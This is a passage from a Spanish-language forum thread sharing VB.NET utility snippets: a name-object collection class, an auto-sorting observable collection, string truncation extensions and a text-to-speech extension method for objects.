  300.            Me.InvalidateCachedArrays()
  301.            Dim count As Integer = c.Count
  302.            For i As Integer = 0 To count - 1
  303.                Dim key As String = c.GetKey(i)
  304.                Dim values() As Object = c.GetValues(i)
  305.                If values IsNot Nothing Then
  306.                    For j As Integer = 0 To values.Length - 1
  307.                        Me.Add(key, values(j))
  308.                    Next j
  309.                Else
  310.                    Me.Add(key, Nothing)
  311.                End If
  312.            Next i
  313.        End Sub
  314.  
  315.        ''' ----------------------------------------------------------------------------------------------------
  316.        ''' <summary>
  317.        ''' Invalidates the cached arrays and removes all entries from this <see cref="NameObjectCollection"/>.
  318.        ''' </summary>
  319.        ''' ----------------------------------------------------------------------------------------------------
  320.        Public Overridable Sub Clear()
  321.            If MyBase.IsReadOnly Then
  322.                Throw New NotSupportedException("CollectionReadOnly")
  323.            End If
  324.  
  325.            Me.InvalidateCachedArrays()
  326.            MyBase.BaseClear()
  327.        End Sub
  328.  
  329.        ''' ----------------------------------------------------------------------------------------------------
  330.        ''' <summary>
  331.        ''' Copies the entire <see cref="NameObjectCollection"/> to a compatible
  332.        ''' one-dimensional <see cref="System.Array"/>, starting at the specified index of the target array.
  333.        ''' </summary>
  334.        ''' ----------------------------------------------------------------------------------------------------
  335.        ''' <param name="dest">
  336.        ''' The one-dimensional <see cref="System.Array"/> that is the destination of the elements copied
  337.        ''' from <see cref="NameObjectCollection"/>. The <see cref="System.Array"/> must
  338.        ''' have zero-based indexing.
  339.        ''' </param>
  340.        '''
  341.        ''' <param name="index">
  342.        ''' The zero-based index in dest at which copying begins.
  343.        ''' </param>
  344.        ''' ----------------------------------------------------------------------------------------------------
  345.        Public Sub CopyTo(dest As System.Array, index As Integer)
  346.            If dest Is Nothing Then
  347.                Throw New ArgumentNullException(NameOf(dest))
  348.            End If
  349.  
  350.            If dest.Rank <> 1 Then
  351.                Throw New ArgumentException("Arg_MultiRank")
  352.            End If
  353.  
  354.            If index < 0 Then
  355.                Throw New ArgumentOutOfRangeException(NameOf(index), "IndexOutOfRange")
  356.            End If
  357.  
  358.            Dim count As Integer = Me.Count
  359.            If dest.Length - index < count Then
  360.                Throw New ArgumentException("Arg_InsufficientSpace")
  361.            End If
  362.  
  363.            If Me._all Is Nothing Then
  364.                Dim array(count - 1) As Object
  365.                For i As Integer = 0 To count - 1
  366.                    array(i) = Me.[Get](i)
  367.                    dest.SetValue(array(i), i + index)
  368.                Next i
  369.  
  370.                Me._all = array
  371.            Else
  372.                For j As Integer = 0 To count - 1
  373.                    dest.SetValue(_all(j), j + index)
  374.                Next j
  375.            End If
  376.        End Sub
  377.  
  378.        ''' ----------------------------------------------------------------------------------------------------
  379.        ''' <summary>
  380.        ''' Gets a value indicating whether this <see cref="NameObjectCollection"/>
  381.        ''' contains keys that are not null.
  382.        ''' </summary>
  383.        ''' ----------------------------------------------------------------------------------------------------
  384.        ''' <returns>
  385.        ''' true if this <see cref="NameObjectCollection"/> contains keys
  386.        ''' that are not null; otherwise, false.
  387.        ''' </returns>
  388.        ''' ----------------------------------------------------------------------------------------------------
  389.        Public Function HasKeys() As Boolean
  390.            Return Me.InternalHasKeys()
  391.        End Function
  392.  
  393.        ''' ----------------------------------------------------------------------------------------------------
  394.        ''' <summary>
  395.        ''' Adds an entry with the specified name and value to this <see cref="NameObjectCollection"/>.
  396.        ''' </summary>
  397.        ''' ----------------------------------------------------------------------------------------------------
  398.        ''' <param name="name">
  399.        ''' The <see cref="String"/> key of the entry to add. The key can be null.
  400.        ''' </param>
  401.        '''
  402.        ''' <param name="value">
  403.        ''' The <see cref="String"/> value of the entry to add. The value can be null.
  404.        ''' </param>
  405.        ''' ----------------------------------------------------------------------------------------------------
  406.        Public Overridable Sub Add(name As String, value As Object)
  407.            If MyBase.IsReadOnly Then
  408.                Throw New NotSupportedException("CollectionReadOnly")
  409.            End If
  410.  
  411.            Me.InvalidateCachedArrays()
  412.            Dim arrayList As ArrayList = DirectCast(MyBase.BaseGet(name), ArrayList)
  413.            If arrayList Is Nothing Then
  414.                arrayList = New ArrayList(1)
  415.                If value IsNot Nothing Then
  416.                    arrayList.Add(value)
  417.                End If
  418.  
  419.                MyBase.BaseAdd(name, arrayList)
  420.            ElseIf value IsNot Nothing Then
  421.                arrayList.Add(value)
  422.            End If
  423.        End Sub
  424.  
  425.        ''' ----------------------------------------------------------------------------------------------------
  426.        ''' <summary>
  427.        ''' Gets the values associated with the specified key from this <see cref="NameObjectCollection"/>
  428.        ''' combined into one comma-separated list.
  429.        ''' </summary>
  430.        ''' ----------------------------------------------------------------------------------------------------
  431.        ''' <param name="name">
  432.        ''' The <see cref="String"/> key of the entry that contains the values to get. The key can
  433.        ''' be null.
  434.        ''' </param>
  435.        ''' ----------------------------------------------------------------------------------------------------
  436.        ''' <returns>
  437.        ''' A <see cref="String"/> that contains a comma-separated list of the values associated
  438.        ''' with the specified key from this <see cref="NameObjectCollection"/>,
  439.        ''' if found; otherwise, null.
  440.        ''' </returns>
  441.        ''' ----------------------------------------------------------------------------------------------------
  442.        Public Overridable Function [Get](name As String) As Object
  443.            Dim list As ArrayList = DirectCast(MyBase.BaseGet(name), ArrayList)
  444.            Return NameObjectCollection.GetAsOneObject(list)
  445.        End Function
  446.  
  447.        ''' ----------------------------------------------------------------------------------------------------
  448.        ''' <summary>
  449.        ''' Gets the values associated with the specified key from this <see cref="NameObjectCollection"/>.
  450.        ''' </summary>
  451.        ''' ----------------------------------------------------------------------------------------------------
  452.        ''' <param name="name">
  453.        ''' The <see cref="String"/> key of the entry that contains the values to get. The key can
  454.        ''' be null.
  455.        ''' </param>
  456.        ''' ----------------------------------------------------------------------------------------------------
  457.        ''' <returns>
  458.        ''' A <see cref="Object"/> array that contains the values associated with the specified
  459.        ''' key from this <see cref="NameObjectCollection"/>, if found; otherwise,
  460.        ''' null.
  461.        ''' </returns>
  462.        ''' ----------------------------------------------------------------------------------------------------
  463.        Public Overridable Function GetValues(name As String) As Object()
  464.            Dim list As ArrayList = DirectCast(MyBase.BaseGet(name), ArrayList)
  465.            Return NameObjectCollection.GetAsObjectArray(list)
  466.        End Function
  467.  
  468.        ''' ----------------------------------------------------------------------------------------------------
  469.        ''' <summary>
  470.        ''' Sets the value of an entry in this <see cref="NameObjectCollection"/>.
  471.        ''' </summary>
  472.        ''' ----------------------------------------------------------------------------------------------------
  473.        ''' <param name="name">
  474.        ''' The <see cref="String"/> key of the entry to add the new value to. The key can be null.
  475.        ''' </param>
  476.        '''
  477.        ''' <param name="value">
  478.        ''' The <see cref="Object"/> that represents the new value to add to the specified entry.
  479.        ''' The value can be null.
  480.        ''' </param>
  481.        ''' ----------------------------------------------------------------------------------------------------
  482.        Public Overridable Sub [Set](name As String, value As Object)
  483.            If MyBase.IsReadOnly Then
  484.                Throw New NotSupportedException("CollectionReadOnly")
  485.            End If
  486.  
  487.            Me.InvalidateCachedArrays()
  488.            Dim arrayList As New ArrayList(1) From {value}
  489.            MyBase.BaseSet(name, arrayList)
  490.        End Sub
  491.  
  492.        ''' ----------------------------------------------------------------------------------------------------
  493.        ''' <summary>
  494.        ''' Removes the entries with the specified key from this <see cref="NameObjectCollection"/>
  495.        ''' instance.
  496.        ''' </summary>
  497.        ''' ----------------------------------------------------------------------------------------------------
  498.        ''' <param name="name">
  499.        ''' The <see cref="String"/> key of the entry to remove. The key can be null.
  500.        ''' </param>
  501.        ''' ----------------------------------------------------------------------------------------------------
  502.        Public Overridable Sub Remove(name As String)
  503.            Me.InvalidateCachedArrays()
  504.            MyBase.BaseRemove(name)
  505.        End Sub
  506.  
  507.        ''' ----------------------------------------------------------------------------------------------------
  508.        ''' <summary>
  509.        ''' Gets the values at the specified index of this <see cref="NameObjectCollection"/>
  510.        ''' combined into one comma-separated list.
  511.        ''' </summary>
  512.        ''' ----------------------------------------------------------------------------------------------------
  513.        ''' <param name="index">
  514.        ''' The zero-based index of the entry that contains the values to get from the collection.
  515.        ''' </param>
  516.        ''' ----------------------------------------------------------------------------------------------------
  517.        ''' <returns>
  518.        ''' A <see cref="String"/> that contains a comma-separated list of the values at the specified
  519.        ''' index of this <see cref="NameObjectCollection"/>, if found; otherwise,
  520.        ''' null.
  521.        ''' </returns>
  522.        ''' ----------------------------------------------------------------------------------------------------
  523.        Public Overridable Function [Get](index As Integer) As Object
  524.            Dim list As ArrayList = DirectCast(MyBase.BaseGet(index), ArrayList)
  525.            Return NameObjectCollection.GetAsOneObject(list)
  526.        End Function
  527.  
  528.        ''' ----------------------------------------------------------------------------------------------------
  529.        ''' <summary>
  530.        ''' Gets the values at the specified index of this <see cref="NameObjectCollection"/>.
  531.        ''' </summary>
  532.        ''' ----------------------------------------------------------------------------------------------------
  533.        ''' <param name="index">
  534.        ''' The zero-based index of the entry that contains the values to get from the collection.
  535.        ''' </param>
  536.        ''' ----------------------------------------------------------------------------------------------------
  537.        ''' <returns>
  538.        ''' A <see cref="String"/> array that contains the values at the specified index of the
  539.        ''' <see cref="NameObjectCollection"/>, if found; otherwise, null.
  540.        ''' </returns>
  541.        ''' ----------------------------------------------------------------------------------------------------
  542.        Public Overridable Function GetValues(index As Integer) As Object()
  543.            Dim list As ArrayList = DirectCast(MyBase.BaseGet(index), ArrayList)
  544.            Return NameObjectCollection.GetAsObjectArray(list)
  545.        End Function
  546.  
  547.        ''' ----------------------------------------------------------------------------------------------------
  548.        ''' <summary>
  549.        ''' Gets the key at the specified index of this <see cref="NameObjectCollection"/>.
  550.        ''' </summary>
  551.        ''' ----------------------------------------------------------------------------------------------------
  552.        ''' <param name="index">
  553.        ''' The zero-based index of the key to get from the collection.
  554.        ''' </param>
  555.        ''' ----------------------------------------------------------------------------------------------------
  556.        ''' <returns>
  557.        ''' A <see cref="String"/> that contains the key at the specified index of this <see cref="NameObjectCollection"/>,
  558.        ''' if found; otherwise, null.
  559.        ''' </returns>
  560.        ''' ----------------------------------------------------------------------------------------------------
  561.        Public Overridable Function GetKey(index As Integer) As String
  562.            Return MyBase.BaseGetKey(index)
  563.        End Function
  564.  
  565. #End Region
  566.  
  567. #Region " Private Methods "
  568.  
  569.        ''' ----------------------------------------------------------------------------------------------------
  570.        ''' <summary>
  571.        ''' Resets the cached arrays of the collection to null.
  572.        ''' </summary>
  573.        ''' ----------------------------------------------------------------------------------------------------
  574.        Protected Sub InvalidateCachedArrays()
  575.            Me._all = Nothing
  576.            Me._allKeys = Nothing
  577.        End Sub
  578.  
  579.        ''' ----------------------------------------------------------------------------------------------------
  580.        ''' <summary>
  581.        ''' Gets a value indicating whether the <see cref="NameObjectCollection"/> has keys that are not null.
  582.        ''' </summary>
  583.        ''' ----------------------------------------------------------------------------------------------------
  584.        ''' <returns>
  585.        '''  <c>true</c> if the <see cref="NameObjectCollection"/> has keys that are not null; otherwise, <c>false</c>.
  586.        ''' </returns>
  587.        ''' ----------------------------------------------------------------------------------------------------
  588.        Friend Overridable Function InternalHasKeys() As Boolean
  589.            Return MyBase.BaseHasKeys()
  590.        End Function
  591.  
  592.        ''' ----------------------------------------------------------------------------------------------------
  593.        ''' <summary>
  594.        ''' Converts an <see cref="ArrayList"/> to a single object.
  595.        ''' </summary>
  596.        ''' ----------------------------------------------------------------------------------------------------
  597.        ''' <param name="list">
  598.        ''' The <see cref="ArrayList"/> to convert.
  599.        ''' </param>
  600.        ''' ----------------------------------------------------------------------------------------------------
  601.        ''' <returns>
  602.        ''' The converted object. If the <see cref="ArrayList"/> contains a single item, that item is returned.
  603.        ''' If the <see cref="ArrayList"/> contains multiple items,
  604.        ''' a <see cref="Collection"/> object is created with the items and returned.
  605.        ''' If the <see cref="ArrayList"/> is empty or null, null is returned.
  606.        ''' </returns>
  607.        ''' ----------------------------------------------------------------------------------------------------
  608.        Private Shared Function GetAsOneObject(list As ArrayList) As Object
  609.            Dim num As Integer = If(list?.Count, 0)
  610.            If num = 1 Then
  611.                Return list(0)
  612.            End If
  613.  
  614.            If num > 1 Then
  615.                Dim collection As New Collection From {list(0)}
  616.                For i As Integer = 1 To num - 1
  617.                    collection.Add(list(i))
  618.                Next i
  619.                Return collection
  620.            End If
  621.  
  622.            Return Nothing
  623.        End Function
  624.  
  625.        ''' ----------------------------------------------------------------------------------------------------
  626.        ''' <summary>
  627.        ''' Converts an <see cref="ArrayList"/> to an array of objects.
  628.        ''' </summary>
  629.        ''' ----------------------------------------------------------------------------------------------------
  630.        ''' <param name="list">
  631.        ''' The <see cref="ArrayList"/> to convert.
  632.        ''' </param>
  633.        ''' ----------------------------------------------------------------------------------------------------
  634.        ''' <returns>
  635.        ''' An array of objects containing the items from the <see cref="ArrayList"/>.
  636.        ''' If the <see cref="ArrayList"/> is empty or null, null is returned.
  637.        ''' </returns>
  638.        ''' ----------------------------------------------------------------------------------------------------
  639.        Private Shared Function GetAsObjectArray(list As ArrayList) As Object()
  640.            Dim num As Integer = If(list?.Count, 0)
  641.            If num = 0 Then
  642.                Return Nothing
  643.            End If
  644.  
  645.            Dim array(num - 1) As Object
  646.            list.CopyTo(0, array, 0, num)
  647.            Return array
  648.        End Function
  649.  
  650. #End Region
  651.  
  652.    End Class
  653.  
  654. End Namespace
  655.  
  656.  


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Elektro Enjuto en 10 Septiembre 2023, 10:50 am
Implementación de una colección genérica SortableObservableCollection<T>, que hereda de ObservableCollection<T>.

Esta colección tiene la capacidad de ordenar de forma automática los elementos de la colección - en ascendente o descendente - mediante el método de ordenación especificado en la propiedad SortableObservableCollection.SortingSelector.

Nota: código original en C# https://stackoverflow.com/a/44401860/1248295 (https://stackoverflow.com/a/44401860/1248295)



Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 08-June-2023
  4. ' ***********************************************************************
  5.  
  6. #Region " Option Statements "
  7.  
  8. Option Strict On
  9. Option Explicit On
  10. Option Infer Off
  11.  
  12. #End Region
  13.  
  14. #Region " imports "
  15.  
  16. Imports System.Collections.Generic
  17. Imports System.Collections.ObjectModel
  18. Imports System.Collections.Specialized
  19. Imports System.ComponentModel
  20. Imports System.Linq
  21.  
  22. #End Region
  23.  
  24. Namespace DevCase.Runtime.Collections
  25.  
  26.    ''' ----------------------------------------------------------------------------------------------------
  27.    ''' <summary>
  28.    ''' Represents a sortable, dynamic data collection that provides notifications when items get added,
  29.    ''' removed, or when the whole list is refreshed.
  30.    ''' <para></para>
  31.    ''' The items in the collection are automatically sorted by the selector method specified in
  32.    ''' <see cref="SortableObservableCollection(Of T).SortingSelector"/> property.
  33.    ''' </summary>
  34.    ''' ----------------------------------------------------------------------------------------------------
  35.    ''' <example> This is a code example.
  36.    ''' <code language="VB">
  37.    ''' Dim collection As New SortableObservableCollection(Of KeyValuePair(Of Integer, String)) With {
  38.    '''     .SortingSelector = Function(pair As KeyValuePair(Of Integer, String)) pair.Key,
  39.    '''     .IsDescending = True
  40.    ''' }
  41.    '''
  42.    ''' collection.Add(New KeyValuePair(Of Integer, String)(7, "abc"))
  43.    ''' collection.Add(New KeyValuePair(Of Integer, String)(3, "xey"))
  44.    ''' collection.Add(New KeyValuePair(Of Integer, String)(6, "ftu"))
  45.    '''
  46.    ''' For Each pair As KeyValuePair(Of Integer, String) In collection
  47.    '''     Console.WriteLine(pair)
  48.    ''' Next pair
  49.    ''' </code>
  50.    ''' </example>
  51.    ''' ----------------------------------------------------------------------------------------------------
  52.    ''' <typeparam name="T">
  53.    ''' </typeparam>
  54.    ''' ----------------------------------------------------------------------------------------------------
  55.    ''' <seealso cref="ObservableCollection(Of T)"/>
  56.    ''' ----------------------------------------------------------------------------------------------------
  57.    Public Class SortableObservableCollection(Of T) : Inherits ObservableCollection(Of T)
  58.  
  59. #Region " Private Fields "
  60.  
  61.        ''' ----------------------------------------------------------------------------------------------------
  62.        ''' <summary>
  63.        ''' The selector method to sort the items in the collection.
  64.        ''' </summary>
  65.        ''' ----------------------------------------------------------------------------------------------------
  66.        Private _sortingSelector As Func(Of T, Object)
  67.  
  68.        ''' ----------------------------------------------------------------------------------------------------
  69.        ''' <summary>
  70.        ''' A value that determine whether the sorting method is ascending or descending.
  71.        ''' </summary>
  72.        ''' ----------------------------------------------------------------------------------------------------
  73.        Private _isDescending As Boolean
  74.  
  75. #End Region
  76.  
  77. #Region " Properties "
  78.  
  79.        ''' ----------------------------------------------------------------------------------------------------
  80.        ''' <summary>
  81.        ''' Gets or sets the selector method to sort the items in the collection.
  82.        ''' </summary>
  83.        ''' ----------------------------------------------------------------------------------------------------
  84.        Public Overridable Property SortingSelector() As Func(Of T, Object)
  85.            Get
  86.                Return Me._sortingSelector
  87.            End Get
  88.            Set(value As Func(Of T, Object))
  89.                If Me._sortingSelector = value Then
  90.                    Return
  91.                End If
  92.  
  93.                Me._sortingSelector = value
  94.                Me.OnPropertyChanged(New PropertyChangedEventArgs(NameOf(SortingSelector)))
  95.                Me.OnPropertyChanged(New PropertyChangedEventArgs("Items[]"))
  96.                Me.OnCollectionChanged(New NotifyCollectionChangedEventArgs(NotifyCollectionChangedAction.Reset))
  97.            End Set
  98.        End Property
  99.  
  100.        ''' ----------------------------------------------------------------------------------------------------
  101.        ''' <summary>
  102.        ''' Gets or sets a value indicating whether the sorting method is ascending or descending.
  103.        ''' </summary>
  104.        ''' ----------------------------------------------------------------------------------------------------
  105.        Public Overridable Property IsDescending() As Boolean
  106.            Get
  107.                Return Me._isDescending
  108.            End Get
  109.            Set(value As Boolean)
  110.                If Me._isDescending = value Then
  111.                    Return
  112.                End If
  113.  
  114.                Me._isDescending = value
  115.                Me.OnPropertyChanged(New PropertyChangedEventArgs(NameOf(SortableObservableCollection(Of T).IsDescending)))
  116.                Me.OnPropertyChanged(New PropertyChangedEventArgs("Items[]"))
  117.                Me.OnCollectionChanged(New NotifyCollectionChangedEventArgs(NotifyCollectionChangedAction.Reset))
  118.            End Set
  119.        End Property
  120.  
  121. #End Region
  122.  
  123. #Region " Event Raisers "
  124.  
  125.        ''' ----------------------------------------------------------------------------------------------------
  126.        ''' <summary>
  127.        ''' Raises the <see cref="SortableObservableCollection(Of T).CollectionChanged" /> event
  128.        ''' with the provided arguments.
  129.        ''' </summary>
  130.        ''' ----------------------------------------------------------------------------------------------------
  131.        ''' <param name="e">
  132.        ''' The <see cref="NotifyCollectionChangedEventArgs"/> instance containing the event data.
  133.        ''' </param>
  134.        ''' ----------------------------------------------------------------------------------------------------
  135.        Protected Overrides Sub OnCollectionChanged(ByVal e As NotifyCollectionChangedEventArgs)
  136.            MyBase.OnCollectionChanged(e)
  137.            If (Me.SortingSelector Is Nothing) OrElse
  138.                (e.Action = NotifyCollectionChangedAction.Remove) OrElse
  139.                (e.Action = NotifyCollectionChangedAction.Reset) Then
  140.                Return
  141.            End If
  142.  
  143.            Dim query As IEnumerable(Of (Item As T, index As Integer)) = Me.Select(Function(item, index) (item, index))
  144.            query = If(Me.IsDescending, query.OrderByDescending(Function(tuple) Me.SortingSelector()(tuple.Item)), query.OrderBy(Function(tuple) Me.SortingSelector()(tuple.Item)))
  145.            Dim map As IEnumerable(Of (OldIndex As Integer, NewIndex As Integer)) = query.Select(Function(tuple, index) (OldIndex:=tuple.index, NewIndex:=index)).Where(Function(o) o.OldIndex <> o.NewIndex)
  146.            Using enumerator As IEnumerator(Of (OldIndex As Integer, NewIndex As Integer)) = map.GetEnumerator()
  147.                If enumerator.MoveNext() Then
  148.                    Me.Move(enumerator.Current.OldIndex, enumerator.Current.NewIndex)
  149.                End If
  150.            End Using
  151.        End Sub
  152.  
  153. #End Region
  154.  
  155.    End Class
  156.  
  157. End Namespace
  158.  


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Elektro Enjuto en 10 Septiembre 2023, 11:05 am
Dos funciones para truncar un string, al final del string o en medio.

Ejemplo:

(https://i.imgur.com/u7O5A4u.png)

Nota: para evitar mal entendidos, en este ejemplo visual se ha utilizado el caracter "…" como caracter separador de cadena truncada, que no son tres caracteres de puntos sino un solo caracter ("…".Length = 1).



Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 13-July-2023
  4. ' ***********************************************************************
  5.  
  6. #Region " Public Members Summary "
  7.  
  8. ' String.Truncate(Integer, Opt: String) As String
  9. ' String.TruncateMiddle(Integer, Opt: String) As String
  10.  
  11. #End Region
  12.  
  13. #Region " Option Statements "
  14.  
  15. Option Strict On
  16. Option Explicit On
  17. Option Infer Off
  18.  
  19. #End Region
  20.  
  21. #Region " Imports "
  22.  
  23. Imports System.ComponentModel
  24. Imports System.Runtime.CompilerServices
  25.  
  26. #End Region
  27.  
  28. #Region " String Extensions "
  29.  
  30. ' ReSharper disable once CheckNamespace
  31.  
  32. Namespace DevCase.Extensions.StringExtensions
  33.  
  34.    ''' ----------------------------------------------------------------------------------------------------
  35.    ''' <summary>
  36.    ''' Contains custom extension methods to use with a <see cref="String"/> type.
  37.    ''' </summary>
  38.    ''' ----------------------------------------------------------------------------------------------------
  39.    <HideModuleName>
  40.    Public Module StringExtensions
  41.  
  42.        ''' ----------------------------------------------------------------------------------------------------
  43.        ''' <summary>
  44.        ''' Truncates the source string to a specified length
  45.        ''' and replaces the truncated part with an ellipsis.
  46.        ''' </summary>
  47.        ''' ----------------------------------------------------------------------------------------------------
  48.        ''' <example> This is a code example.
  49.        ''' <code language="VB.NET">
  50.        ''' Dim text As String = "123456789"
  51.        ''' Dim truncated As String = Truncate(text, 5)
  52.        ''' Console.WriteLine(truncated)
  53.        ''' </code>
  54.        ''' </example>
  55.        ''' ----------------------------------------------------------------------------------------------------
  56.        ''' <param name="text">
  57.        ''' The string that will be truncated.
  58.        ''' </param>
  59.        '''
  60.        ''' <param name="maxLength">
  61.        ''' The maximum length of characters to maintain before truncation occurs.
  62.        ''' </param>
  63.        '''
  64.        ''' <param name="elipsis">
  65.        ''' Optional. The ellipsis string to use as the replacement.
  66.        ''' <para></para>
  67.        ''' Default value is: "…" (U+2026)
  68.        ''' </param>
  69.        ''' ----------------------------------------------------------------------------------------------------
  70.        ''' <returns>
  71.        ''' The truncated string with the ellipsis in the end.
  72.        ''' </returns>
  73.        ''' ----------------------------------------------------------------------------------------------------
  74.        <DebuggerStepThrough>
  75.        <Extension>
  76.        <EditorBrowsable(EditorBrowsableState.Always)>
  77.        Public Function Truncate(text As String, maxLength As Integer, Optional elipsis As String = "…") As String
  78.            If maxLength < 1 Then
  79.                Throw New ArgumentException("Value can't be less than 1.", paramName:=NameOf(maxLength))
  80.            End If
  81.  
  82.            If String.IsNullOrEmpty(text) Then
  83.                Throw New ArgumentNullException(paramName:=NameOf(text))
  84.            End If
  85.  
  86. #If NETCOREAPP Then
  87.            Return If(text.Length <= maxLength, text, String.Concat(text.AsSpan(0, maxLength), elipsis))
  88. #Else
  89.            Return If(text.Length <= maxLength, text, text.Substring(0, maxLength) & elipsis)
  90. #End If
  91.  
  92.        End Function
  93.  
  94.        ''' ----------------------------------------------------------------------------------------------------
  95.        ''' <summary>
  96.        ''' Truncates the source string to a specified length by stripping out the center
  97.        ''' and replacing it with an ellipsis, so that the beginning and end of the string are retained.
  98.        ''' </summary>
  99.        ''' ----------------------------------------------------------------------------------------------------
  100.        ''' <example> This is a code example.
  101.        ''' <code language="VB.NET">
  102.        ''' Dim text As String = "123456789"
  103.        ''' Dim truncated As String = TruncateMiddle(text, 6)
  104.        ''' Console.WriteLine(truncated)
  105.        ''' </code>
  106.        ''' </example>
  107.        ''' ----------------------------------------------------------------------------------------------------
  108.        ''' <param name="text">
  109.        ''' The string that will be truncated.
  110.        ''' </param>
  111.        '''
  112.        ''' <param name="maxLength">
  113.        ''' The maximum length of characters to maintain before truncation occurs.
  114.        ''' </param>
  115.        '''
  116.        ''' <param name="elipsis">
  117.        ''' Optional. The ellipsis string to use as the replacement.
  118.        ''' <para></para>
  119.        ''' Default value is: "…" (U+2026)
  120.        ''' </param>
  121.        ''' ----------------------------------------------------------------------------------------------------
  122.        ''' <returns>
  123.        ''' The truncated string with the ellipsis in the middle.
  124.        ''' </returns>
  125.        ''' ----------------------------------------------------------------------------------------------------
  126.        <DebuggerStepThrough>
  127.        <Extension>
  128.        <EditorBrowsable(EditorBrowsableState.Always)>
  129.        Public Function TruncateMiddle(text As String, maxLength As Integer, Optional elipsis As String = "…") As String
  130.            If maxLength < 1 Then
  131.                Throw New ArgumentException("Value can't be less than 1.", paramName:=NameOf(maxLength))
  132.            End If
  133.  
  134.            If String.IsNullOrEmpty(text) Then
  135.                Throw New ArgumentNullException(paramName:=NameOf(text))
  136.            End If
  137.  
  138.            Dim charsInEachHalf As Integer = maxLength \ 2
  139.            Dim right As String = text.Substring(text.Length - charsInEachHalf, charsInEachHalf)
  140.            Dim left As String = text.Substring(0, maxLength - right.Length)
  141.  
  142.            Return $"{left}{elipsis}{right}"
  143.        End Function
  144.  
  145.    End Module
  146.  
  147. End Namespace
  148.  
  149. #End Region


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Elektro Enjuto en 10 Septiembre 2023, 11:30 am
Se me ocurrió desarrollar este curioso y simple método con el que utilizar el sintetizador de voz del sistema operativo para pronunciar cualquier objeto.

Nota: se requiere añadir una referencia al ensamblado System.Speech

Ejemplos de uso:
Código
  1. Dim obj As Color = Color.LightGoldenrodYellow
  2. obj.Speak("Microsoft Zira Desktop", rate:=-2, volume:=100)

Código
  1. Dim obj As String = "Hola Mundo!"
  2. obj.Speak("Microsoft Helena Desktop", rate:=-2, volume:=100)

Si intentamos leer un array no va a leer los elementos, para ello podemos iterar los elementos uno a uno para pronunciarlos, o podriamos concatenarlos en un string:

Código
  1. Dim array As Integer() = {1, 2, 3, 4, 5, 6, 7, 8, 9}
  2. Dim humanReadable As String = String.Join(" ", array)
  3. humanReadable.Speak("Microsoft Helena Desktop", rate:=-1, volume:=100)

Lo ideal es que el objeto en cuestión implemente la función ToString para convertirlo a una cadena de texto legible por humanos. Aquí un ejemplo:

Código
  1. Public Class MyType
  2.  
  3.    Public Property Property1 As String
  4.    Public Property Property2 As String
  5.  
  6.    Public Overrides Function ToString() As String
  7.        Return $"{Me.Property1}, {Me.Property2}"
  8.    End Function
  9.  
  10. End Class
  11.  

Código
  1. Dim obj As New MyType()
  2. obj.Property1 = "Valor de la propiedad 1"
  3. obj.Property2 = "Valor de la propiedad 2"
  4.  
  5. obj.Speak("Microsoft Helena Desktop", rate:=-1, volume:=100)



Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 09-July-2023
  4. ' ***********************************************************************
  5.  
  6. #Region " Public Members Summary "
  7.  
  8. ' Object.Speak(Opt: String, Opt: Integer, Opt: Integer)
  9. ' Object.Speak(Opt: InstalledVoice, Opt: Integer, Opt: Integer)
  10.  
  11. #End Region
  12.  
  13. #Region " Option Statements "
  14.  
  15. Option Strict On
  16. Option Explicit On
  17. Option Infer Off
  18.  
  19. #End Region
  20.  
  21. #Region " Imports "
  22.  
  23. Imports System.ComponentModel
  24. Imports System.Globalization
  25. Imports System.Runtime.CompilerServices
  26. Imports System.Speech.Synthesis
  27.  
  28. #End Region
  29.  
  30. #Region " Object Extensions "
  31.  
  32. ' ReSharper disable once CheckNamespace
  33.  
  34. Namespace DevCase.Extensions.ObjectExtensions
  35.  
  36.    ''' ----------------------------------------------------------------------------------------------------
  37.    ''' <summary>
  38.    ''' Contains custom extension methods to use with the <see cref="Object"/> type.
  39.    ''' </summary>
  40.    ''' ----------------------------------------------------------------------------------------------------
  41.    <ImmutableObject(True)>
  42.    <HideModuleName>
  43.    Public Module ObjectExtensions
  44.  
  45. #Region " Public Extension Methods "
  46.  
  47.        ''' ----------------------------------------------------------------------------------------------------
  48.        ''' <summary>
  49.        ''' Speaks the string representation of the source object by using the
  50.        ''' operating system integrated text-to-speech synthesizer.
  51.        ''' </summary>
  52.        ''' ----------------------------------------------------------------------------------------------------
  53.        ''' <example> This is a code example.
  54.        ''' <code language="VB.NET">
  55.        ''' Dim c As Color = Color.LightGoldenrodYellow
  56.        ''' c.Speak(name:="Microsoft Zira Desktop", rate:=1, volume:=100)
  57.        ''' </code>
  58.        ''' </example>
  59.        ''' ----------------------------------------------------------------------------------------------------
  60.        ''' <param name="obj">
  61.        ''' The object to be spoken.
  62.        ''' </param>
  63.        '''
  64.        ''' <param name="voiceName">
  65.        ''' Optional. Selects the voice to use, such as "Microsoft Zira Desktop" or "Microsoft Helena Desktop".
  66.        ''' <para></para>
  67.        ''' Note: If this value is null, the default voice is the one for the current culture
  68.        ''' specified in the <see cref="CultureInfo.CurrentCulture"/> property.
  69.        ''' </param>
  70.        '''
  71.        ''' <param name="rate">
  72.        ''' Optional. Sets the speaking rate of the selected voice.
  73.        ''' <para></para>
  74.        ''' Allowed values are in the range of -10 (slowest) to +10 (fastest).
  75.        ''' <para></para>
  76.        ''' Default value: 0 (normal rate).
  77.        ''' </param>
  78.        '''
  79.        ''' <param name="volume">
  80.        ''' Optional. Sets the output volume of the synthesizer.
  81.        ''' <para></para>
  82.        ''' Allowed values are in the range of 0 (minimum) to 100 (maximum).
  83.        ''' <para></para>
  84.        ''' Default value: 100 (maximum volume)
  85.        ''' </param>
  86.        ''' ----------------------------------------------------------------------------------------------------
  87.        <DebuggerStepThrough>
  88.        <Extension>
  89.        <EditorBrowsable(EditorBrowsableState.Always)>
  90.        Public Sub Speak(obj As Object, Optional voiceName As String = "",
  91.                                        Optional rate As Integer = 0,
  92.                                        Optional volume As Integer = 100)
  93.  
  94.            Using synth As New SpeechSynthesizer()
  95.                If Not String.IsNullOrEmpty(voiceName) Then
  96.                    synth.SelectVoice(voiceName)
  97.                Else
  98.                    Dim voice As InstalledVoice = synth.GetInstalledVoices(CultureInfo.CurrentCulture).FirstOrDefault()
